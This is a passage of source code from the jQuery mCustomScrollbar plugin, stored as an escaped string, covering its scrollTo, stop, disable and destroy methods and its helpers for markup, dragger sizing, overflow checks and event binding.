*/\n\t\t\t\t\t\t\t\tif(o.axis===\"y\"){\n\t\t\t\t\t\t\t\t\t_unbindEvents.call(this);\n\t\t\t\t\t\t\t\t}else if(o.axis===\"yx\" && d.overflowed[1]){\n\t\t\t\t\t\t\t\t\t_scrollTo($this,to[1].toString(),{dir:\"x\",dur:0,overwrite:\"none\"});\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}else if(mCSB_dragger[0].height()>mCSB_dragger[0].parent().height()){\n\t\t\t\t\t\t\t\t_resetContentPosition.call(this); /* reset content position */\n\t\t\t\t\t\t\t}else{ /* y scrolling is required */\n\t\t\t\t\t\t\t\t_scrollTo($this,to[0].toString(),{dir:\"y\",dur:0,overwrite:\"none\"});\n\t\t\t\t\t\t\t\td.contentReset.y=null;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(o.axis!==\"y\"){ /* x/yx axis */\n\t\t\t\t\t\t\tif(!d.overflowed[1]){ /* x scrolling is not required */\n\t\t\t\t\t\t\t\t_resetContentPosition.call(this); /* reset content position */\n\t\t\t\t\t\t\t\tif(o.axis===\"x\"){\n\t\t\t\t\t\t\t\t\t_unbindEvents.call(this);\n\t\t\t\t\t\t\t\t}else if(o.axis===\"yx\" && d.overflowed[0]){\n\t\t\t\t\t\t\t\t\t_scrollTo($this,to[0].toString(),{dir:\"y\",dur:0,overwrite:\"none\"});\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}else if(mCSB_dragger[1].width()>mCSB_dragger[1].parent().width()){\n\t\t\t\t\t\t\t\t_resetContentPosition.call(this); /* reset content position */\n\t\t\t\t\t\t\t}else{ /* x scrolling is required */\n\t\t\t\t\t\t\t\t_scrollTo($this,to[1].toString(),{dir:\"x\",dur:0,overwrite:\"none\"});\n\t\t\t\t\t\t\t\td.contentReset.x=null;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* callbacks: onImageLoad, onSelectorChange, onUpdate */\n\t\t\t\t\t\tif(cb && d){\n\t\t\t\t\t\t\tif(cb===2 && o.callbacks.onImageLoad && typeof o.callbacks.onImageLoad===\"function\"){\n\t\t\t\t\t\t\t\to.callbacks.onImageLoad.call(this);\n\t\t\t\t\t\t\t}else if(cb===3 && o.callbacks.onSelectorChange && typeof o.callbacks.onSelectorChange===\"function\"){\n\t\t\t\t\t\t\t\to.callbacks.onSelectorChange.call(this);\n\t\t\t\t\t\t\t}else if(o.callbacks.onUpdate && typeof o.callbacks.onUpdate===\"function\"){\n\t\t\t\t\t\t\t\to.callbacks.onUpdate.call(this);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t_autoUpdate.call(this); /* initialize automatic updating (for dynamic content, fluid layouts etc.) */\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t},\n\t\t\t/* ---------------------------------------- */\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t/* \n\t\t\tplugin scrollTo method \n\t\t\ttriggers a scrolling event to a specific value\n\t\t\t----------------------------------------\n\t\t\tusage: $(selector).mCustomScrollbar(\"scrollTo\",value,options);\n\t\t\t*/\n\t\t\n\t\t\tscrollTo:function(val,options){\n\t\t\t\t\n\t\t\t\t/* prevent silly things like $(selector).mCustomScrollbar(\"scrollTo\",undefined); */\n\t\t\t\tif(typeof val==\"undefined\" || val==null){return;}\n\t\t\t\t\n\t\t\t\tvar selector=_selector.call(this); /* validate selector */\n\t\t\t\t\n\t\t\t\treturn $(selector).each(function(){\n\t\t\t\t\t\n\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\n\t\t\t\t\tif($this.data(pluginPfx)){ /* check if plugin has initialized */\n\t\t\t\t\t\n\t\t\t\t\t\tvar d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\t\t\t\t/* method default options */\n\t\t\t\t\t\t\tmethodDefaults={\n\t\t\t\t\t\t\t\ttrigger:\"external\", /* method is by default triggered externally (e.g. from other scripts) */\n\t\t\t\t\t\t\t\tscrollInertia:o.scrollInertia, /* scrolling inertia (animation duration) */\n\t\t\t\t\t\t\t\tscrollEasing:\"mcsEaseInOut\", /* animation easing */\n\t\t\t\t\t\t\t\tmoveDragger:false, /* move dragger instead of content */\n\t\t\t\t\t\t\t\ttimeout:60, /* scroll-to delay */\n\t\t\t\t\t\t\t\tcallbacks:true, /* enable/disable callbacks */\n\t\t\t\t\t\t\t\tonStart:true,\n\t\t\t\t\t\t\t\tonUpdate:true,\n\t\t\t\t\t\t\t\tonComplete:true\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tmethodOptions=$.extend(true,{},methodDefaults,options),\n\t\t\t\t\t\t\tto=_arr.call(this,val),dur=methodOptions.scrollInertia>0 && methodOptions.scrollInertia<17 ? 17 : methodOptions.scrollInertia;\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* translate yx values to actual scroll-to positions */\n\t\t\t\t\t\tto[0]=_to.call(this,to[0],\"y\");\n\t\t\t\t\t\tto[1]=_to.call(this,to[1],\"x\");\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* \n\t\t\t\t\t\tcheck if scroll-to value moves the dragger instead of content. \n\t\t\t\t\t\tOnly pixel values apply on dragger (e.g. 100, \"100px\", \"-=100\" etc.) \n\t\t\t\t\t\t*/\n\t\t\t\t\t\tif(methodOptions.moveDragger){\n\t\t\t\t\t\t\tto[0]*=d.scrollRatio.y;\n\t\t\t\t\t\t\tto[1]*=d.scrollRatio.x;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tmethodOptions.dur=dur;\n\t\t\t\t\t\t\n\t\t\t\t\t\tsetTimeout(function(){ \n\t\t\t\t\t\t\t/* do the scrolling */\n\t\t\t\t\t\t\tif(to[0]!==null && typeof to[0]!==\"undefined\" && o.axis!==\"x\" && d.overflowed[0]){ /* scroll y */\n\t\t\t\t\t\t\t\tmethodOptions.dir=\"y\";\n\t\t\t\t\t\t\t\tmethodOptions.overwrite=\"all\";\n\t\t\t\t\t\t\t\t_scrollTo($this,to[0].toString(),methodOptions);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(to[1]!==null && typeof to[1]!==\"undefined\" && o.axis!==\"y\" && d.overflowed[1]){ /* scroll x */\n\t\t\t\t\t\t\t\tmethodOptions.dir=\"x\";\n\t\t\t\t\t\t\t\tmethodOptions.overwrite=\"none\";\n\t\t\t\t\t\t\t\t_scrollTo($this,to[1].toString(),methodOptions);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},methodOptions.timeout);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t},\n\t\t\t/* ---------------------------------------- */\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t/*\n\t\t\tplugin stop method \n\t\t\tstops scrolling animation\n\t\t\t----------------------------------------\n\t\t\tusage: $(selector).mCustomScrollbar(\"stop\");\n\t\t\t*/\n\t\t\tstop:function(){\n\t\t\t\t\n\t\t\t\tvar selector=_selector.call(this); /* validate selector */\n\t\t\t\t\n\t\t\t\treturn $(selector).each(function(){\n\t\t\t\t\t\n\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\n\t\t\t\t\tif($this.data(pluginPfx)){ /* check if plugin has initialized */\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t_stop($this);\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t},\n\t\t\t/* ---------------------------------------- */\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t/*\n\t\t\tplugin disable method \n\t\t\ttemporarily disables the scrollbar(s) \n\t\t\t----------------------------------------\n\t\t\tusage: $(selector).mCustomScrollbar(\"disable\",reset); \n\t\t\treset (boolean): resets content position to 0 \n\t\t\t*/\n\t\t\tdisable:function(r){\n\t\t\t\t\n\t\t\t\tvar selector=_selector.call(this); /* validate selector */\n\t\t\t\t\n\t\t\t\treturn $(selector).each(function(){\n\t\t\t\t\t\n\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\n\t\t\t\t\tif($this.data(pluginPfx)){ /* check if plugin has initialized */\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar d=$this.data(pluginPfx);\n\t\t\t\t\t\t\n\t\t\t\t\t\t_autoUpdate.call(this,\"remove\"); /* remove automatic updating */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_unbindEvents.call(this); /* unbind events */\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(r){_resetContentPosition.call(this);} /* reset content position */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_scrollbarVisibility.call(this,true); /* show/hide scrollbar(s) */\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this.addClass(classes[3]); /* add disable class */\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t},\n\t\t\t/* ---------------------------------------- */\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t/*\n\t\t\tplugin destroy method \n\t\t\tcompletely removes the scrollbar(s) and returns the element to its original state\n\t\t\t----------------------------------------\n\t\t\tusage: $(selector).mCustomScrollbar(\"destroy\"); \n\t\t\t*/\n\t\t\tdestroy:function(){\n\t\t\t\t\n\t\t\t\tvar selector=_selector.call(this); /* validate selector */\n\t\t\t\t\n\t\t\t\treturn $(selector).each(function(){\n\t\t\t\t\t\n\t\t\t\t\tvar $this=$(this);\n\t\t\t\t\t\n\t\t\t\t\tif($this.data(pluginPfx)){ /* check if plugin has initialized */\n\t\t\t\t\t\n\t\t\t\t\t\tvar d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\t\t\t\tscrollbar=$(\".mCSB_\"+d.idx+\"_scrollbar\");\n\t\t\t\t\t\n\t\t\t\t\t\tif(o.live){removeLiveTimers(o.liveSelector || $(selector).selector);} /* remove live timers */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_autoUpdate.call(this,\"remove\"); /* remove automatic updating */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_unbindEvents.call(this); /* unbind events */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_resetContentPosition.call(this); /* reset content position */\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this.removeData(pluginPfx); /* remove plugin data object */\n\t\t\t\t\t\t\n\t\t\t\t\t\t_delete(this,\"mcs\"); /* delete callbacks object */\n\t\t\t\t\t\t\n\t\t\t\t\t\t/* remove plugin markup */\n\t\t\t\t\t\tscrollbar.remove(); /* remove scrollbar(s) first (those can be either inside or outside plugin's inner wrapper) */\n\t\t\t\t\t\tmCSB_container.find(\"img.\"+classes[2]).removeClass(classes[2]); /* remove loaded images flag */\n\t\t\t\t\t\tmCustomScrollBox.replaceWith(mCSB_container.contents()); /* replace plugin's inner wrapper with the original content */\n\t\t\t\t\t\t/* remove plugin classes from the element and add destroy class */\n\t\t\t\t\t\t$this.removeClass(pluginNS+\" _\"+pluginPfx+\"_\"+d.idx+\" \"+classes[6]+\" \"+classes[7]+\" \"+classes[5]+\" \"+classes[3]).addClass(classes[4]);\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t}\n\t\t\t/* ---------------------------------------- */\n\t\t\t\n\t\t},\n\t\n\t\n\t\n\t\n\t\t\n\t/* \n\t----------------------------------------\n\tFUNCTIONS\n\t----------------------------------------\n\t*/\n\t\n\t\t/* validates selector (if selector is invalid or undefined uses the default one) */\n\t\t_selector=function(){\n\t\t\treturn (typeof $(this)!==\"object\" || $(this).length<1) ? defaultSelector : this;\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* changes options according to theme */\n\t\t_theme=function(obj){\n\t\t\tvar fixedSizeScrollbarThemes=[\"rounded\",\"rounded-dark\",\"rounded-dots\",\"rounded-dots-dark\"],\n\t\t\t\tnonExpandedScrollbarThemes=[\"rounded-dots\",\"rounded-dots-dark\",\"3d\",\"3d-dark\",\"3d-thick\",\"3d-thick-dark\",\"inset\",\"inset-dark\",\"inset-2\",\"inset-2-dark\",\"inset-3\",\"inset-3-dark\"],\n\t\t\t\tdisabledScrollButtonsThemes=[\"minimal\",\"minimal-dark\"],\n\t\t\t\tenabledAutoHideScrollbarThemes=[\"minimal\",\"minimal-dark\"],\n\t\t\t\tscrollbarPositionOutsideThemes=[\"minimal\",\"minimal-dark\"];\n\t\t\tobj.autoDraggerLength=$.inArray(obj.theme,fixedSizeScrollbarThemes) > -1 ? false : obj.autoDraggerLength;\n\t\t\tobj.autoExpandScrollbar=$.inArray(obj.theme,nonExpandedScrollbarThemes) > -1 ? false : obj.autoExpandScrollbar;\n\t\t\tobj.scrollButtons.enable=$.inArray(obj.theme,disabledScrollButtonsThemes) > -1 ? false : obj.scrollButtons.enable;\n\t\t\tobj.autoHideScrollbar=$.inArray(obj.theme,enabledAutoHideScrollbarThemes) > -1 ? true : obj.autoHideScrollbar;\n\t\t\tobj.scrollbarPosition=$.inArray(obj.theme,scrollbarPositionOutsideThemes) > -1 ? \"outside\" : obj.scrollbarPosition;\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* live option timers removal */\n\t\tremoveLiveTimers=function(selector){\n\t\t\tif(liveTimers[selector]){\n\t\t\t\tclearTimeout(liveTimers[selector]);\n\t\t\t\t_delete(liveTimers,selector);\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* normalizes axis option to valid values: \"y\", \"x\", \"yx\" */\n\t\t_findAxis=function(val){\n\t\t\treturn (val===\"yx\" || val===\"xy\" || val===\"auto\") ? \"yx\" : (val===\"x\" || val===\"horizontal\") ? \"x\" : \"y\";\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* normalizes scrollButtons.scrollType option to valid values: \"stepless\", \"stepped\" */\n\t\t_findScrollButtonsType=function(val){\n\t\t\treturn (val===\"stepped\" || val===\"pixels\" || val===\"step\" || val===\"click\") ? \"stepped\" : \"stepless\";\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* generates plugin markup */\n\t\t_pluginMarkup=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\texpandClass=o.autoExpandScrollbar ? \" \"+classes[1]+\"_expand\" : \"\",\n\t\t\t\tscrollbar=[\"<div id='mCSB_\"+d.idx+\"_scrollbar_vertical' class='mCSB_scrollTools mCSB_\"+d.idx+\"_scrollbar mCS-\"+o.theme+\" mCSB_scrollTools_vertical\"+expandClass+\"'><div class='\"+classes[12]+\"'><div id='mCSB_\"+d.idx+\"_dragger_vertical' class='mCSB_dragger' style='position:absolute;' oncontextmenu='return false;'><div class='mCSB_dragger_bar' /></div><div class='mCSB_draggerRail' /></div></div>\",\"<div id='mCSB_\"+d.idx+\"_scrollbar_horizontal' class='mCSB_scrollTools mCSB_\"+d.idx+\"_scrollbar mCS-\"+o.theme+\" mCSB_scrollTools_horizontal\"+expandClass+\"'><div class='\"+classes[12]+\"'><div id='mCSB_\"+d.idx+\"_dragger_horizontal' class='mCSB_dragger' style='position:absolute;' oncontextmenu='return false;'><div class='mCSB_dragger_bar' /></div><div class='mCSB_draggerRail' /></div></div>\"],\n\t\t\t\twrapperClass=o.axis===\"yx\" ? \"mCSB_vertical_horizontal\" : o.axis===\"x\" ? \"mCSB_horizontal\" : \"mCSB_vertical\",\n\t\t\t\tscrollbars=o.axis===\"yx\" ? scrollbar[0]+scrollbar[1] : o.axis===\"x\" ? scrollbar[1] : scrollbar[0],\n\t\t\t\tcontentWrapper=o.axis===\"yx\" ? \"<div id='mCSB_\"+d.idx+\"_container_wrapper' class='mCSB_container_wrapper' />\" : \"\",\n\t\t\t\tautoHideClass=o.autoHideScrollbar ? \" \"+classes[6] : \"\",\n\t\t\t\tscrollbarDirClass=(o.axis!==\"x\" && d.langDir===\"rtl\") ? \" \"+classes[7] : \"\";\n\t\t\tif(o.setWidth){$this.css(\"width\",o.setWidth);} /* set element width */\n\t\t\tif(o.setHeight){$this.css(\"height\",o.setHeight);} /* set element height */\n\t\t\to.setLeft=(o.axis!==\"y\" && d.langDir===\"rtl\") ? \"989999px\" : o.setLeft; /* adjust left position for rtl direction */\n\t\t\t$this.addClass(pluginNS+\" _\"+pluginPfx+\"_\"+d.idx+autoHideClass+scrollbarDirClass).wrapInner(\"<div id='mCSB_\"+d.idx+\"' class='mCustomScrollBox mCS-\"+o.theme+\" \"+wrapperClass+\"'><div id='mCSB_\"+d.idx+\"_container' class='mCSB_container' style='position:relative; top:\"+o.setTop+\"; left:\"+o.setLeft+\";' dir=\"+d.langDir+\" /></div>\");\n\t\t\tvar mCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\");\n\t\t\tif(o.axis!==\"y\" && !o.advanced.autoExpandHorizontalScroll){\n\t\t\t\tmCSB_container.css(\"width\",_contentWidth(mCSB_container.children()));\n\t\t\t}\n\t\t\tif(o.scrollbarPosition===\"outside\"){\n\t\t\t\tif($this.css(\"position\")===\"static\"){ /* requires elements with non-static position */\n\t\t\t\t\t$this.css(\"position\",\"relative\");\n\t\t\t\t}\n\t\t\t\t$this.css(\"overflow\",\"visible\");\n\t\t\t\tmCustomScrollBox.addClass(\"mCSB_outside\").after(scrollbars);\n\t\t\t}else{\n\t\t\t\tmCustomScrollBox.addClass(\"mCSB_inside\").append(scrollbars);\n\t\t\t\tmCSB_container.wrap(contentWrapper);\n\t\t\t}\n\t\t\t_scrollButtons.call(this); /* add scrollbar buttons */\n\t\t\t/* minimum dragger length */\n\t\t\tvar mCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")];\n\t\t\tmCSB_dragger[0].css(\"min-height\",mCSB_dragger[0].height());\n\t\t\tmCSB_dragger[1].css(\"min-width\",mCSB_dragger[1].width());\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* calculates content width */\n\t\t_contentWidth=function(el){\n\t\t\treturn Math.max.apply(Math,el.map(function(){return $(this).outerWidth(true);}).get());\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* expands content horizontally */\n\t\t_expandContentHorizontally=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\");\n\t\t\tif(o.advanced.autoExpandHorizontalScroll && o.axis!==\"y\"){\n\t\t\t\t/* \n\t\t\t\twrap content with an infinite width div and set its position to absolute and width to auto. \n\t\t\t\tSetting width to auto before calculating the actual width is important! \n\t\t\t\tWe must let the browser set the width as browser zoom values are impossible to calculate.\n\t\t\t\t*/\n\t\t\t\tmCSB_container.css({\"position\":\"absolute\",\"width\":\"auto\"})\n\t\t\t\t\t.wrap(\"<div class='mCSB_h_wrapper' style='position:relative; left:0; width:999999px;' />\")\n\t\t\t\t\t.css({ /* set actual width, original position and un-wrap */\n\t\t\t\t\t\t/* \n\t\t\t\t\t\tget the exact width (with decimals) and then round-up. \n\t\t\t\t\t\tUsing jquery outerWidth() will round the width value which will mess up with inner elements that have non-integer width\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t\"width\":(Math.ceil(mCSB_container[0].getBoundingClientRect().right+0.4)-Math.floor(mCSB_container[0].getBoundingClientRect().left)),\n\t\t\t\t\t\t\"position\":\"relative\"\n\t\t\t\t\t}).unwrap();\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* adds scrollbar buttons */\n\t\t_scrollButtons=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tmCSB_scrollTools=$(\".mCSB_\"+d.idx+\"_scrollbar:first\"),\n\t\t\t\ttabindex=!_isNumeric(o.scrollButtons.tabindex) ? \"\" : \"tabindex='\"+o.scrollButtons.tabindex+\"'\",\n\t\t\t\tbtnHTML=[\n\t\t\t\t\t\"<a href='#' class='\"+classes[13]+\"' oncontextmenu='return false;' \"+tabindex+\" />\",\n\t\t\t\t\t\"<a href='#' class='\"+classes[14]+\"' oncontextmenu='return false;' \"+tabindex+\" />\",\n\t\t\t\t\t\"<a href='#' class='\"+classes[15]+\"' oncontextmenu='return false;' \"+tabindex+\" />\",\n\t\t\t\t\t\"<a href='#' class='\"+classes[16]+\"' oncontextmenu='return false;' \"+tabindex+\" />\"\n\t\t\t\t],\n\t\t\t\tbtn=[(o.axis===\"x\" ? btnHTML[2] : btnHTML[0]),(o.axis===\"x\" ? btnHTML[3] : btnHTML[1]),btnHTML[2],btnHTML[3]];\n\t\t\tif(o.scrollButtons.enable){\n\t\t\t\tmCSB_scrollTools.prepend(btn[0]).append(btn[1]).next(\".mCSB_scrollTools\").prepend(btn[2]).append(btn[3]);\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* detects/sets css max-height value */\n\t\t_maxHeight=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmh=$this.css(\"max-height\") || \"none\",pct=mh.indexOf(\"%\")!==-1,\n\t\t\t\tbs=$this.css(\"box-sizing\");\n\t\t\tif(mh!==\"none\"){\n\t\t\t\tvar val=pct ? $this.parent().height()*parseInt(mh)/100 : parseInt(mh);\n\t\t\t\t/* if element's css box-sizing is \"border-box\", subtract any paddings and/or borders from max-height value */\n\t\t\t\tif(bs===\"border-box\"){val-=(($this.innerHeight()-$this.height())+($this.outerHeight()-$this.innerHeight()));}\n\t\t\t\tmCustomScrollBox.css(\"max-height\",Math.round(val));\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* auto-adjusts scrollbar dragger length */\n\t\t_setDraggerLength=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tmCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")],\n\t\t\t\tratio=[mCustomScrollBox.height()/mCSB_container.outerHeight(false),mCustomScrollBox.width()/mCSB_container.outerWidth(false)],\n\t\t\t\tl=[\n\t\t\t\t\tparseInt(mCSB_dragger[0].css(\"min-height\")),Math.round(ratio[0]*mCSB_dragger[0].parent().height()),\n\t\t\t\t\tparseInt(mCSB_dragger[1].css(\"min-width\")),Math.round(ratio[1]*mCSB_dragger[1].parent().width())\n\t\t\t\t],\n\t\t\t\th=oldIE && (l[1]<l[0]) ? l[0] : l[1],w=oldIE && (l[3]<l[2]) ? l[2] : l[3];\n\t\t\tmCSB_dragger[0].css({\n\t\t\t\t\"height\":h,\"max-height\":(mCSB_dragger[0].parent().height()-10)\n\t\t\t}).find(\".mCSB_dragger_bar\").css({\"line-height\":l[0]+\"px\"});\n\t\t\tmCSB_dragger[1].css({\n\t\t\t\t\"width\":w,\"max-width\":(mCSB_dragger[1].parent().width()-10)\n\t\t\t});\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* calculates scrollbar to content ratio */\n\t\t_scrollRatio=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tmCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")],\n\t\t\t\tscrollAmount=[mCSB_container.outerHeight(false)-mCustomScrollBox.height(),mCSB_container.outerWidth(false)-mCustomScrollBox.width()],\n\t\t\t\tratio=[\n\t\t\t\t\tscrollAmount[0]/(mCSB_dragger[0].parent().height()-mCSB_dragger[0].height()),\n\t\t\t\t\tscrollAmount[1]/(mCSB_dragger[1].parent().width()-mCSB_dragger[1].width())\n\t\t\t\t];\n\t\t\td.scrollRatio={y:ratio[0],x:ratio[1]};\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* toggles scrolling classes */\n\t\t_onDragClasses=function(el,action,xpnd){\n\t\t\tvar expandClass=xpnd ? classes[0]+\"_expanded\" : \"\",\n\t\t\t\tscrollbar=el.closest(\".mCSB_scrollTools\");\n\t\t\tif(action===\"active\"){\n\t\t\t\tel.toggleClass(classes[0]+\" \"+expandClass); scrollbar.toggleClass(classes[1]); \n\t\t\t\tel[0]._draggable=el[0]._draggable ? 0 : 1;\n\t\t\t}else{\n\t\t\t\tif(!el[0]._draggable){\n\t\t\t\t\tif(action===\"hide\"){\n\t\t\t\t\t\tel.removeClass(classes[0]); scrollbar.removeClass(classes[1]);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tel.addClass(classes[0]); scrollbar.addClass(classes[1]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* checks if content overflows its container to determine if scrolling is required */\n\t\t_overflowed=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tcontentHeight=d.overflowed==null ? mCSB_container.height() : mCSB_container.outerHeight(false),\n\t\t\t\tcontentWidth=d.overflowed==null ? mCSB_container.width() : mCSB_container.outerWidth(false);\n\t\t\treturn [contentHeight>mCustomScrollBox.height(),contentWidth>mCustomScrollBox.width()];\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* resets content position to 0 */\n\t\t_resetContentPosition=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tmCSB_dragger=[$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\")];\n\t\t\t_stop($this); /* stop any current scrolling before resetting */\n\t\t\tif((o.axis!==\"x\" && !d.overflowed[0]) || (o.axis===\"y\" && d.overflowed[0])){ /* reset y */\n\t\t\t\tmCSB_dragger[0].add(mCSB_container).css(\"top\",0);\n\t\t\t\t_scrollTo($this,\"_resetY\");\n\t\t\t}\n\t\t\tif((o.axis!==\"y\" && !d.overflowed[1]) || (o.axis===\"x\" && d.overflowed[1])){ /* reset x */\n\t\t\t\tvar cx=dx=0;\n\t\t\t\tif(d.langDir===\"rtl\"){ /* adjust left position for rtl direction */\n\t\t\t\t\tcx=mCustomScrollBox.width()-mCSB_container.outerWidth(false);\n\t\t\t\t\tdx=Math.abs(cx/d.scrollRatio.x);\n\t\t\t\t}\n\t\t\t\tmCSB_container.css(\"left\",cx);\n\t\t\t\tmCSB_dragger[1].css(\"left\",dx);\n\t\t\t\t_scrollTo($this,\"_resetX\");\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* binds scrollbar events */\n\t\t_bindEvents=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt;\n\t\t\tif(!d.bindEvents){ /* check if events are already bound */\n\t\t\t\t_draggable.call(this);\n\t\t\t\tif(o.contentTouchScroll){_contentDraggable.call(this);}\n\t\t\t\t_selectable.call(this);\n\t\t\t\tif(o.mouseWheel.enable){ /* bind mousewheel fn when plugin is available */\n\t\t\t\t\tfunction _mwt(){\n\t\t\t\t\t\tmousewheelTimeout=setTimeout(function(){\n\t\t\t\t\t\t\tif(!$.event.special.mousewheel){\n\t\t\t\t\t\t\t\t_mwt();\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\tclearTimeout(mousewheelTimeout);\n\t\t\t\t\t\t\t\t_mousewheel.call($this[0]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},100);\n\t\t\t\t\t}\n\t\t\t\t\tvar mousewheelTimeout;\n\t\t\t\t\t_mwt();\n\t\t\t\t}\n\t\t\t\t_draggerRail.call(this);\n\t\t\t\t_wrapperScroll.call(this);\n\t\t\t\tif(o.advanced.autoScrollOnFocus){_focus.call(this);}\n\t\t\t\tif(o.scrollButtons.enable){_buttons.call(this);}\n\t\t\t\tif(o.keyboard.enable){_keyboard.call(this);}\n\t\t\t\td.bindEvents=true;\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* unbinds scrollbar events */\n\t\t_unbindEvents=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tsb=\".mCSB_\"+d.idx+\"_scrollbar\",\n\t\t\t\tsel=$(\"#mCSB_\"+d.idx+\",#mCSB_\"+d.idx+\"_container,#mCSB_\"+d.idx+\"_container_wrapper,\"+sb+\" 